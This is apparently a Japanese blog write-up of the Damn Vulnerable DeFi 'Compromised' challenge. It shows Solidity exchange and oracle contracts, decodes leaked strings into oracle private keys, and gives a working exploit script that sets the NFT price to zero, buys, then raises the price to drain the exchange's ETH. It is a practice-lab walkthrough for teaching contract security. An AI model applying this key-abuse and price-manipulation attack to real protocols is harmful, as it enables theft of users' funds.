moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:Damn Vulnerable DeFi (七) - 侵害された

ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれます。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。

問題リンク:https://www.damnvulnerabledefi.xyz/challenges/7.html

問題の説明:

DeFi プロジェクトを閲覧していると、サーバーからいくつかの奇妙なデータを受け取ります。

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

現在、あるオンチェーン取引所が「DVNFT」というコレクションを販売しています。現在、各アイテムの価格は 999 ETH です。価格はオンチェーンオラクルから提供されており、価格は 0xA73209FB1a42495120166736362A1DfA9F95A1050xe92401A4d3af5E446d93D11EEc806b1462b39D15 および 0x81A5D6E50C214044bE44cA0CB057fe119097850c によって提供されています。

現在、あなたのアカウントには 0.1 ETH があり、取引所で利用可能なすべての ETH を盗む必要があります。

始める前に、オラクル oracle の概念を簡単に紹介します。

オラクルは、オフチェーンに保存された情報を取得、検証し、ブロックチェーン上で実行されるスマートコントラクトに転送するアプリケーションです。簡単に言うと、現実世界のデータ(天気情報、身分証明書情報、配送先住所など)をブロックチェーンに保存することです。

web2 の世界では、データは http リクエストを介して取得できます。しかし、ブロックチェーンでは、現実世界のデータを取得するには、まずそれをブロックチェーンネットワーク内のスマートコントラクトに保存し、その後、他のスマートコントラクトがデータを保存したコントラクトを呼び出すことでデータを取得できます。

次に、この問題のスマートコントラクトのコードを見てみましょう。

  • Exchange.sol 取引所コントラクト
  • TrustfulOracle.sol オラクルコントラクト
  • TrustfulOracleInitializer.sol オラクルコントラクト初期化子

取引所コントラクト#

Exchange.sol

contract Exchange is ReentrancyGuard {
    using Address for address payable;

    // NFT トークン
    DamnValuableNFT public immutable token;
    // オラクルコントラクト
    TrustfulOracle public immutable oracle;

    event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
    event TokenSold(address indexed seller, uint256 tokenId, uint256 price);

    constructor(address oracleAddress) payable {
        token = new DamnValuableNFT();
        oracle = TrustfulOracle(oracleAddress);
    }

    // NFT を購入する
    function buyOne() external payable nonReentrant returns (uint256) {
        // 支払った金額を取得
        uint256 amountPaidInWei = msg.value;
        require(amountPaidInWei > 0, "支払った金額はゼロより大きくなければなりません");

        // オラクルコントラクトから中央値価格を取得
        uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());

        // 支払う金額が現在の価格以上であることを要求
        require(amountPaidInWei >= currentPriceInWei, "支払った金額が不十分です");

        // NFT をミントして msg.sender に送信
        uint256 tokenId = token.safeMint(msg.sender);

        // お釣りを返す、支払いの余分な金額を msg.sender に返す
        payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);

        emit TokenBought(msg.sender, tokenId, currentPriceInWei);

        return tokenId;
    }

    // NFT を販売する
    function sellOne(uint256 tokenId) external nonReentrant {
        // 呼び出し元が所有者であることを確認
        require(msg.sender == token.ownerOf(tokenId), "売り手は所有者でなければなりません");
        // 売却する NFT がこのコントラクトに承認されていることを確認
        require(token.getApproved(tokenId) == address(this), "売り手は移転を承認している必要があります");

        // オラクルコントラクトから中央値価格を取得
        uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
        // このコントラクトの残高が現在の価格以上であることを確認
        require(address(this).balance >= currentPriceInWei, "残高に十分な ETH がありません");

        // NFT を msg.sender からこのコントラクトに転送
        token.transferFrom(msg.sender, address(this), tokenId);

        // tokenId に対応する NFT を焼却
        token.burn(tokenId);

        // コントラクトから msg.sender に支払い
        payable(msg.sender).sendValue(currentPriceInWei);

        emit TokenSold(msg.sender, tokenId, currentPriceInWei);
    }

    receive() external payable {}
}

取引所コントラクトには 2 つの機能があります。

  • NFT を購入する
    • オラクルコントラクトから価格を取得
    • 購入者に NFT をミント
    • お釣りを返す
  • NFT を販売する:所有する NFT をこのコントラクトに販売
    • オラクルコントラクトから価格を取得
    • 所有者が持つ NFT を取引所コントラクトに転送
    • 所有者が持つ NFT を焼却
    • 取引所コントラクトが所有者に送金

オラクルコントラクト#

TrustfulOracle.sol

contract TrustfulOracle is AccessControlEnumerable {

    // 2つの役割を定義
    // INITIALIZER_ROLE は初期価格を設定でき、1回だけ呼び出すことができます
    // 価格を設定できるのは TRUSTED_SOURCE_ROLE のみ
    bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
    bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");

    // 価格を記録:どのアドレスがどのトークンの価格を設定したか
    mapping(address => mapping (string => uint256)) private pricesBySource;

    modifier onlyTrustedSource() {
        require(hasRole(TRUSTED_SOURCE_ROLE, msg.sender));
        _;
    }

    modifier onlyInitializer() {
        require(hasRole(INITIALIZER_ROLE, msg.sender));
        _;
    }

    event UpdatedPrice(
        address indexed source,
        string indexed symbol,
        uint256 oldPrice,
        uint256 newPrice
    );

    constructor(address[] memory sources, bool enableInitialization) {
        require(sources.length > 0);
        // sources に TRUSTED_SOURCE_ROLE をそれぞれ付与
        for(uint256 i = 0; i < sources.length; i++) {
            _setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
        }

        // msg.sender に INITIALIZER_ROLE を付与
        if (enableInitialization) {
            _setupRole(INITIALIZER_ROLE, msg.sender);
        }
    }

    // 初期価格を設定、1回だけ呼び出され、INITIALIZER_ROLE のみが呼び出せます
    function setupInitialPrices(
        address[] memory sources,
        string[] memory symbols,
        uint256[] memory prices
    ) 
        public
        onlyInitializer
    {
        // 各ソースごとに1つの (symbol, price) のみを許可
        require(sources.length == symbols.length && symbols.length == prices.length);

        // 価格を設定
        for(uint256 i = 0; i < sources.length; i++) {
            _setPrice(sources[i], symbols[i], prices[i]);
        }
        // msg.sender の INITIALIZER_ROLE 権限を取り消す
        renounceRole(INITIALIZER_ROLE, msg.sender);
    }

    // トークンの価格を設定、TRUSTED_SOURCE_ROLE のみが価格を設定できます
    function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {
        _setPrice(msg.sender, symbol, newPrice);
    }

    // 中央値価格を取得
    function getMedianPrice(string calldata symbol) external view returns (uint256) {
        return _computeMedianPrice(symbol);
    }

    // 特定のトークンのすべての価格リストを取得
    function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory) {
        // TRUSTED_SOURCE_ROLE の数を取得
        uint256 numberOfSources = getNumberOfSources();
        // 価格リストを格納する固定長配列を定義
        uint256[] memory prices = new uint256[](numberOfSources);

        // TRUSTED_SOURCE_ROLE のすべてのアドレスをループ
        for (uint256 i = 0; i < numberOfSources; i++) {
            // ソースを取得
            address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
            // 価格を取得
            prices[i] = getPriceBySource(symbol, source);
        }
        return prices;
    }

    // 価格を取得
    function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
        return pricesBySource[source][symbol];
    }

    // TRUSTED_SOURCE_ROLE のアドレス数を取得
    function getNumberOfSources() public view returns (uint256) {
        return getRoleMemberCount(TRUSTED_SOURCE_ROLE);
    }

    // 価格を設定し、pricesBySource 変数を更新
    function _setPrice(address source, string memory symbol, uint256 newPrice) private {
        uint256 oldPrice = pricesBySource[source][symbol];
        pricesBySource[source][symbol] = newPrice;
        emit UpdatedPrice(source, symbol, oldPrice, newPrice);
    }

    // 中央値価格を計算
    function _computeMedianPrice(string memory symbol) private view returns (uint256) {
        // TRUSTED_SOURCE_ROLE のアドレス数を取得
        // これらの役割をループし、価格リストを取得
        // 価格をソート
        uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));

        // 中央値価格を計算、リストの長さが偶数の場合は中央の2つの数の平均を計算し、奇数の場合は中央の値を取得
        if (prices.length % 2 == 0) {
            uint256 leftPrice = prices[(prices.length / 2) - 1];
            uint256 rightPrice = prices[prices.length / 2];
            return (leftPrice + rightPrice) / 2;
        } else {
            return prices[prices.length / 2];
        }
    }

    // 選択ソートを使用して価格リストをソート
    function _sort(uint256[] memory arrayOfNumbers) private pure returns (uint256[] memory) {
        for (uint256 i = 0; i < arrayOfNumbers.length; i++) {
            for (uint256 j = i + 1; j < arrayOfNumbers.length; j++) {
                if (arrayOfNumbers[i] > arrayOfNumbers[j]) {
                    uint256 tmp = arrayOfNumbers[i];
                    arrayOfNumbers[i] = arrayOfNumbers[j];
                    arrayOfNumbers[j] = tmp;
                }
            }
        }        
        return arrayOfNumbers;
    }
}

オラクルコントラクトはコード量が多いですが、核心は複数のアドレスが token の価格を設定できることを許可し、価格の中央値を取得する機能を提供することです。

コントラクトのソースコードを見る限り、特に脆弱性はないようです。しかし、サーバーから受け取った奇妙なデータを覚えていますか?このデータは秘密鍵の可能性があります。

秘密鍵を使用してアカウントアドレスを確認するスクリプトを書きます。

const ethers = require('ethers')

const getPK = key => {
  const keyStr = key.split(' ').join('')
  const base64 = Buffer.from(keyStr, 'hex').toString('utf-8')
  return Buffer.from(base64, 'base64').toString('utf-8')
}
const pk1 = getPK('4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35')

const pk2 = getPK('4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34');

// pk1: 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
// pk2: 0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48

const wallet1 = new ethers.Wallet(pk1)
const wallet2 = new ethers.Wallet(pk2)
console.log(wallet1.address)
// 0xe92401A4d3af5E446d93D11EEc806b1462b39D15
console.log(wallet2.address)
// 0x81A5D6E50C214044bE44cA0CB057fe119097850c

得られたこの 2 つのアドレスは、ちょうど価格を提供しているアドレスです。したがって、攻撃手順は次のようになります。

  • 価格を変更できるアカウントアドレスを使用して価格を 0 に変更
  • 攻撃者のアカウントを使用して NFT を購入
  • 価格をコントラクトの残高に変更
  • 攻撃者のアカウントを使用して NFT を売却
  • 初期価格に戻す

テストスクリプトは次のとおりです。

it('Exploit', async function () {
  const pk1 = '0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9'
  const pk2 = '0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48'
  const wallet1 = new ethers.Wallet(pk1, ethers.provider)
  const wallet2 = new ethers.Wallet(pk2, ethers.provider)

  // 価格を0に変更
  await this.oracle.connect(wallet1).postPrice('DVNFT', 0)
  await this.oracle.connect(wallet2).postPrice('DVNFT', 0)

  // NFT を購入
  await this.exchange.connect(attacker).buyOne({ value: 1 })
  const filter = this.exchange.filters.TokenBought(attacker.address)
  const event = (await this.exchange.queryFilter(filter)).pop()
  const tokenId = event.args[1]

  // 価格をコントラクトの残高に設定
  await this.oracle.connect(wallet1).postPrice('DVNFT', EXCHANGE_INITIAL_ETH_BALANCE)
  await this.oracle.connect(wallet2).postPrice('DVNFT', EXCHANGE_INITIAL_ETH_BALANCE)

  // 取引所コントラクトに承認
  await this.nftToken.connect(attacker).approve(this.exchange.address, tokenId)
  // NFT を売却
  await this.exchange.connect(attacker).sellOne(tokenId)

  // 初期価格を設定
  await this.oracle.connect(wallet1).postPrice('DVNFT', INITIAL_NFT_PRICE)
  await this.oracle.connect(wallet2).postPrice('DVNFT', INITIAL_NFT_PRICE)
})

最後に yarn compromised を実行し、テストが通過しました!

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。